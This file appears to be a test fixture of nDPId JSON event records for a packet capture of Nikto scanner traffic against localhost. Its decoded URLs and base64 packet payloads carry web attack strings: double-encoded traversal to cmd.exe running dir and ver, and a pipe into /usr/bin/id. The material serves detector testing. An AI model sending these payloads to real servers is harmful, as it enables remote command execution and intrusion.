+00668{"flow_id":743,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":743,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":892206,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"AAAAAAAAAAAAAAAACABFAADhOMJAAEAGA1N\/AAABfwAAAcdoH5DDTQGCjXG7iYAYAED+1QAAAQEICp1m\/6ydZv+sR0VUIC9jZXJ0c3J2Ly4uJTI1NWN3aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jK2RpciBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMzI5NCkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00797{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":743,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":743,"flow_packet_id":1,"flow_first_seen":1576420277892,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51048,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/certsrv\/..%255cwinnt\/system32\/cmd.exe?\/c+dir","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003294)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":744,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":744,"flow_packet_id":1,"flow_first_seen":1576420277893,"flow_last_seen":0,"flow_tot_l4_data_len":219,"flow_min_l4_data_len":219,"flow_max_l4_data_len":219,"flow_avg_l4_data_len":219,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51050,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00690{"flow_id":744,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":744,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":893798,"pkt_caplen":253,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":253,"pkt_l4_len":219,"pkt":"AAAAAAAAAAAAAAAACABFAADvSZpAAEAG8mx\/AAABfwAAAcdqH5B\/BnDaXNCp24AYAED+4wAAAQEICp1m\/62dZv+tR0VUIC9jZ2ktYmluLy4uJTI1NWMuLiUyNTVjLi4lMjU1Y3dpbm50L3N5c3RlbTMyL2NtZC5leGU\/L2MrZGlyIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAzMjk1KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00811{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":744,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":744,"flow_packet_id":1,"flow_first_seen":1576420277893,"flow_last_seen":0,"flow_tot_l4_data_len":219,"flow_min_l4_data_len":219,"flow_max_l4_data_len":219,"flow_avg_l4_data_len":219,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51050,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgi-bin\/..%255c..%255c..%255cwinnt\/system32\/cmd.exe?\/c+dir","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003295)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":745,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":745,"flow_packet_id":1,"flow_first_seen":1576420277895,"flow_last_seen":0,"flow_tot_l4_data_len":214,"flow_min_l4_data_len":214,"flow_max_l4_data_len":214,"flow_avg_l4_data_len":214,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51052,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00681{"flow_id":745,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":745,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":895273,"pkt_caplen":248,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":248,"pkt_l4_len":214,"pkt":"AAAAAAAAAAAAAAAACABFAADqfTRAAEAGvtd\/AAABfwAAAcdsH5BhnER0\/MAlIYAYAED+3gAAAQEICp1m\/6+dZv+vR0VUIC9paXNhZG1wd2QvLi4lMjU1Yy4uJTI1NWN3aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jK2RpciBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAzMjk2KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00806{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":745,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":745,"flow_packet_id":1,"flow_first_seen":1576420277895,"flow_last_seen":0,"flow_tot_l4_data_len":214,"flow_min_l4_data_len":214,"flow_max_l4_data_len":214,"flow_avg_l4_data_len":214,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51052,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/iisadmpwd\/..%255c..%255cwinnt\/system32\/cmd.exe?\/c+dir","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003296)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":746,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":746,"flow_packet_id":1,"flow_first_seen":1576420277896,"flow_last_seen":0,"flow_tot_l4_data_len":224,"flow_min_l4_data_len":224,"flow_max_l4_data_len":224,"flow_avg_l4_data_len":224,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51054,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00693{"flow_id":746,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":746,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":896577,"pkt_caplen":258,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":258,"pkt_l4_len":224,"pkt":"AAAAAAAAAAAAAAAACABFAAD0gMpAAEAGuzd\/AAABfwAAAcduH5Bs5rmLXk\/vk4AYAED+6AAAAQEICp1m\/7CdZv+wR0VUIC9tc2FkYy8uLiUyNTVjLi4lMjU1Yy4uJTI1NWMuLiUyNTVjd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYytkaXIgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDMyOTcpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00816{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":746,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":746,"flow_packet_id":1,"flow_first_seen":1576420277896,"flow_last_seen":0,"flow_tot_l4_data_len":224,"flow_min_l4_data_len":224,"flow_max_l4_data_len":224,"flow_avg_l4_data_len":224,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51054,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/msadc\/..%255c..%255c..%255c..%255cwinnt\/system32\/cmd.exe?\/c+dir","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003297)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":747,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":747,"flow_packet_id":1,"flow_first_seen":1576420277898,"flow_last_seen":0,"flow_tot_l4_data_len":220,"flow_min_l4_data_len":220,"flow_max_l4_data_len":220,"flow_avg_l4_data_len":220,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51056,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00688{"flow_id":747,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":747,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":898005,"pkt_caplen":254,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":254,"pkt_l4_len":220,"pkt":"AAAAAAAAAAAAAAAACABFAADwDYtAAEAGLnt\/AAABfwAAAcdwH5DXOjTMIaH3HYAYAED+5AAAAQEICp1m\/7GdZv+xR0VUIC9wYnNlcnZlci8uLiUyNTVjLi4lMjU1Yy4uJTI1NWN3aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jK2RpciBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMzI5OCkNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00812{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":747,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":747,"flow_packet_id":1,"flow_first_seen":1576420277898,"flow_last_seen":0,"flow_tot_l4_data_len":220,"flow_min_l4_data_len":220,"flow_max_l4_data_len":220,"flow_avg_l4_data_len":220,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51056,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/pbserver\/..%255c..%255c..%255cwinnt\/system32\/cmd.exe?\/c+dir","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003298)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":748,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":748,"flow_packet_id":1,"flow_first_seen":1576420277899,"flow_last_seen":0,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":208,"flow_max_l4_data_len":208,"flow_avg_l4_data_len":208,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51058,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00672{"flow_id":748,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":748,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":899282,"pkt_caplen":242,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":242,"pkt_l4_len":208,"pkt":"AAAAAAAAAAAAAAAACABFAADkYvBAAEAG2SF\/AAABfwAAAcdyH5AooFut2XrcJYAYAED+2AAAAQEICp1m\/7OdZv+zR0VUIC9ycGMvLi4lMjU1Yy4uJTI1NWN3aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jK2RpciBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMzI5OSkNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00800{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":748,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":748,"flow_packet_id":1,"flow_first_seen":1576420277899,"flow_last_seen":0,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":208,"flow_max_l4_data_len":208,"flow_avg_l4_data_len":208,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51058,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/rpc\/..%255c..%255cwinnt\/system32\/cmd.exe?\/c+dir","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003299)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":749,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":749,"flow_packet_id":1,"flow_first_seen":1576420277901,"flow_last_seen":0,"flow_tot_l4_data_len":212,"flow_min_l4_data_len":212,"flow_max_l4_data_len":212,"flow_avg_l4_data_len":212,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51060,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00676{"flow_id":749,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":749,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":901529,"pkt_caplen":246,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":246,"pkt_l4_len":212,"pkt":"AAAAAAAAAAAAAAAACABFAADogDVAAEAGu9h\/AAABfwAAAcd0H5COI7lxOfsaCoAYAED+3AAAAQEICp1m\/7WdZv+1R0VUIC9zY3JpcHRzLy4uJTI1NWMuLiUyNTVjd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYytkaXIgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDMzMDApDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00804{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":749,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":749,"flow_packet_id":1,"flow_first_seen":1576420277901,"flow_last_seen":0,"flow_tot_l4_data_len":212,"flow_min_l4_data_len":212,"flow_max_l4_data_len":212,"flow_avg_l4_data_len":212,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51060,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/scripts\/..%255c..%255cwinnt\/system32\/cmd.exe?\/c+dir","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003300)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":750,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":750,"flow_packet_id":1,"flow_first_seen":1576420277902,"flow_last_seen":0,"flow_tot_l4_data_len":212,"flow_min_l4_data_len":212,"flow_max_l4_data_len":212,"flow_avg_l4_data_len":212,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51062,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00676{"flow_id":750,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":750,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":902699,"pkt_caplen":246,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":246,"pkt_l4_len":212,"pkt":"AAAAAAAAAAAAAAAACABFAADos7FAAEAGiFx\/AAABfwAAAcd2H5DBqortDeq7IYAYAED+3AAAAQEICp1m\/7adZv+2R0VUIC9zY3JpcHRzLy4uJTI1NWMuLiUyNTVjd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYyt2ZXIgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDMzMDEpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00804{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":750,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":750,"flow_packet_id":1,"flow_first_seen":1576420277902,"flow_last_seen":0,"flow_tot_l4_data_len":212,"flow_min_l4_data_len":212,"flow_max_l4_data_len":212,"flow_avg_l4_data_len":212,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51062,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/scripts\/..%255c..%255cwinnt\/system32\/cmd.exe?\/c+ver","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003301)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":751,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":751,"flow_packet_id":1,"flow_first_seen":1576420277903,"flow_last_seen":0,"flow_tot_l4_data_len":241,"flow_min_l4_data_len":241,"flow_max_l4_data_len":241,"flow_avg_l4_data_len":241,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51064,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00717{"flow_id":751,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":751,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":903919,"pkt_caplen":275,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":275,"pkt_l4_len":241,"pkt":"AAAAAAAAAAAAAAAACABFAAEFC5dAAEAGMFp\/AAABfwAAAcd4H5DWdjLSA\/QqXoAYAED++QAAAQEICp1m\/7edZv+3R0VUIC9fdnRpX2Jpbi8uLiUyNTVjLi4lMjU1Yy4uJTI1NWMuLiUyNTVjLi4lMjU1Yy4uJTI1NWN3aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jK2RpciBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMzMwMikNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00833{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":751,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":751,"flow_packet_id":1,"flow_first_seen":1576420277903,"flow_last_seen":0,"flow_tot_l4_data_len":241,"flow_min_l4_data_len":241,"flow_max_l4_data_len":241,"flow_avg_l4_data_len":241,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51064,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/_vti_bin\/..%255c..%255c..%255c..%255c..%255c..%255cwinnt\/system32\/cmd.exe?\/c+dir","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003302)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":752,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":752,"flow_packet_id":1,"flow_first_seen":1576420277905,"flow_last_seen":0,"flow_tot_l4_data_len":201,"flow_min_l4_data_len":201,"flow_max_l4_data_len":201,"flow_avg_l4_data_len":201,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51066,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00665{"flow_id":752,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":752,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":905862,"pkt_caplen":235,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":235,"pkt_l4_len":201,"pkt":"AAAAAAAAAAAAAAAACABFAADdGS5AAEAGIut\/AAABfwAAAcd6H5B05SBpiRPNwoAYAED+0QAAAQEICp1m\/7mdZv+5R0VUIC9hbnMucGw\/cD0uLi8uLi8uLi8uLi8uLi91c3IvYmluL2lkfCZibGFoIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAzMzcwKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00796{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":752,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":752,"flow_packet_id":1,"flow_first_seen":1576420277905,"flow_last_seen":0,"flow_tot_l4_data_len":201,"flow_min_l4_data_len":201,"flow_max_l4_data_len":201,"flow_avg_l4_data_len":201,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51066,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/ans.pl?p=..\/..\/..\/..\/..\/usr\/bin\/id|&blah","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003370)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":753,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":753,"flow_packet_id":1,"flow_first_seen":1576420277907,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51068,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00668{"flow_id":753,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":753,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":907178,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"AAAAAAAAAAAAAAAACABFAADhaxBAAEAG0QR\/AAABfwAAAcd8H5CT4lJLpEBlJ4AYAED+1QAAAQEICp1m\/7udZv+7R0VUIC9hbnMvYW5zLnBsP3A9Li4vLi4vLi4vLi4vLi4vdXNyL2Jpbi9pZHwmYmxhaCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAzMzcxKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00801{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":753,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":753,"flow_packet_id":1,"flow_first_seen":1576420277907,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51068,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/ans\/ans.pl?p=..\/..\/..\/..\/..\/usr\/bin\/id|&blah","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003371)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":754,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":754,"flow_packet_id":1,"flow_first_seen":1576420277908,"flow_last_seen":0,"flow_tot_l4_data_len":244,"flow_min_l4_data_len":244,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":244,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51070,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00722{"flow_id":754,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":754,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":908547,"pkt_caplen":278,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":278,"pkt_l4_len":244,"pkt":"AAAAAAAAAAAAAAAACABFAAEIG05AAEAGIKB\/AAABfwAAAcd+H5BZWCIKm5\/s0oAYAED+\/AAAAQEICp1m\/7ydZv+8R0VUIC9yZXBvcnRzL3J3c2VydmxldD9zZXJ2ZXI9cmVwc2VydityZXBvcnQ9L3RtcC9oYWNrZXIucmRmK2Rlc3R5cGU9Y2FjaGUrZGVzZm9ybWF0PVBERiBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMzQzNykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00835{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":754,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":754,"flow_packet_id":1,"flow_first_seen":1576420277908,"flow_last_seen":0,"flow_tot_l4_data_len":244,"flow_min_l4_data_len":244,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":244,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51070,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/reports\/rwservlet?server=repserv+report=\/tmp\/hacker.rdf+destype=cache+desformat=PDF","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003437)"}} 